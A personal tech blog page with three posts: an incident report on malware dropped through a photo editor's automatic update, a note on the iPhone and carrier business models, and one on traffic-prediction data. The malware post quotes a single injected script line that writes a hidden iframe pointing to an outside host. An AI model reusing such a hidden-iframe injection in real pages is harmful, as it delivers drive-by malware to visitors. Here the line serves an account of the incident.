Tech blog of WEN Yang

Backdoor opened by software automatic update

Two days ago I accidently ran into a backdoor opened by a software update function. Malicious scripts and executables were downloaded to my laptop... I believe the problem is not only inside the software itself, but also related to Internet Explorer or related Windows security mechanism.

I was trying a photo editing software named nEOiMAGING and suddenly it crashed, with some messages indicating a problem caused by "a.exe". It looked suspicious, doesn't it? I had used that software for a few times and it nevered happend before. Where was the problem originated?

So I opened Process Explorer and found the file at C:\WINDOWS\system32\a.exe (about 14k). Anytime one file with such a "simple" name in a system directory would almost always mean a trojan, virus, or any other malware. I had to put down my normal work to take a careful look on it.

Process Explorer also showed that this file was started by cmd.exe and the starting directory was exactly where I had nEOiMAGING installed in. It seemed indeed it's caused by this software. Then I did some tests. Normally I should not test them on my machine, as there might be a chance something could go wrong and mess up my system. But I did not have a virtual machine or sandbox to play with, and most of my files were backup regularly. So I took a risky approach and ran the software again directly on my laptop. This time, I opened Process Monitor and logged every relevant events.

If I disable my internet connection, then the crash does not happen. But I was able to replicate the same crash when I was connected. Process Monitor showed me how a.exe sneaked into my system. It was copied from a file name "dod.exe" in the "Temporary Internet Files" folder. Then I also found some malicious scripts and executables in that directory and its subdir.

By then it became clear that the malware was downloaded via the connection opened by nEOiMAGING. I tried to look for an option to turn off the automatic update service in that software, but could not find one. I guessed it was hard-coded in. Had it been an open-source software, I could have fixed it by myself, or somebody else could have had it fixed long before. That's another reason I prefer to use free software (http://www.gnu.org/philosophy/free-sw.html) or open-source software, if I have a choice.

The final thing I tried to look at was why this did not happen before -- I had used the same software the day before but it was not causing any trouble at that time. The script found in my Temporary Internet Files folder indicated they were from some website and there were code like this
(WARNING: do NOT connect to the site below!)

document.write("<iframe src=http://xxx.hao1680.com/xx.htm?id=017 width=0 height=0></iframe>")

I guessed the update page requested by nEOiMAGING was somehow cracked, and malicious code was added via iframe.

I did not have the time to figure out the details, but it appeared to me this should be a backdoor or exploit of Windows that such a script could download malware to my computer.

This is a little bit disturbing -- it seems even if you do not use IE, the exploits are still able to bite you via other softwares that happen to use the internet connection somehow. One has no choice in this issue, unlike web-browsing, when one could choose the somewhat more "secure" Firefox. The possible solutions are (1) stop using that software, or (2) use a firewall to block the access.

iPhone and the wireless market

Today I came across this fascinating article "The Untold Story: How the iPhone Blew Up the Wireless Industry" by Fred Vogelstein (WIRED Magazine: issue 16.02).

One interesting observation is how the introduction of iPhone changes the the wireless business model. In the past, carriers treated their networks as "precious resources", and handsets as "worthless commodities". The reason was "by subsidizing the purchase of cheap phones, carriers made it easier for new customers to sign up -- and get roped into long-term contracts that ensured a reliable revenue stream." During the past few months, however, iPhone has successfully attracted so many customers to AT&T, which reaps significant profit margins over it data services (as compared to the voice business). Carriers start to feel the need to change.

When people compare the US wireless market with the one in China, researchers and experts from China often call for some sort of regulation/deregulation (yet by far they have been unsuccessful to lobby the policy-makers) to break the monopoly, open the market and introduce more carriers and competions, for the benefit of the end users. The US market was always one typical example people would cite. Ironically, this time the US market is moving towards a situation where its Chinese counterpart was born with -- the carriers open their network to (almost) all cell phone manufacturers as long as they meets the national standard requirement.

New data sources for solving traffic problem

While it is still a prototype system, DynaMIT can already handle some of the large-scale real-world networks.  Of course there are still a few issues to be resolved before systems like DynaMIT could become commercially viable products.  For example, so far, lacking reliable data sources (especially real-time sources) remains one of the major problems.

Recently I have been working on projects that use new data sources to predict traffic conditions. Things we are considering include many different types of mobile devices -- cell phone, Wi-Fi devices, RFID transponders,  GPS-equipped vehicles (e.g., taxi fleet), electronic toll collections systems, etc. New technologies such as the one (recently used by Google) described in this article on Technology Review, might eventually lead to more accessible data (in terms of the cost of collecting).  DynaMIT can be extended to "fuse" these data together to forecast congestion in the immediate future and generate travel guidance.

With the rapid  development of wireless telecommunication and mobile computing technology, I believe in a few years mobile devices by themselves would probably generate enough data to fill in the gap between what is available today and what is needed for the real-time analysis and prediction of traffic congestion. In the near future some company might be able to make use of the ubiquitous data and provide to travelers various anti-congestion services that are much superior to what we can do today.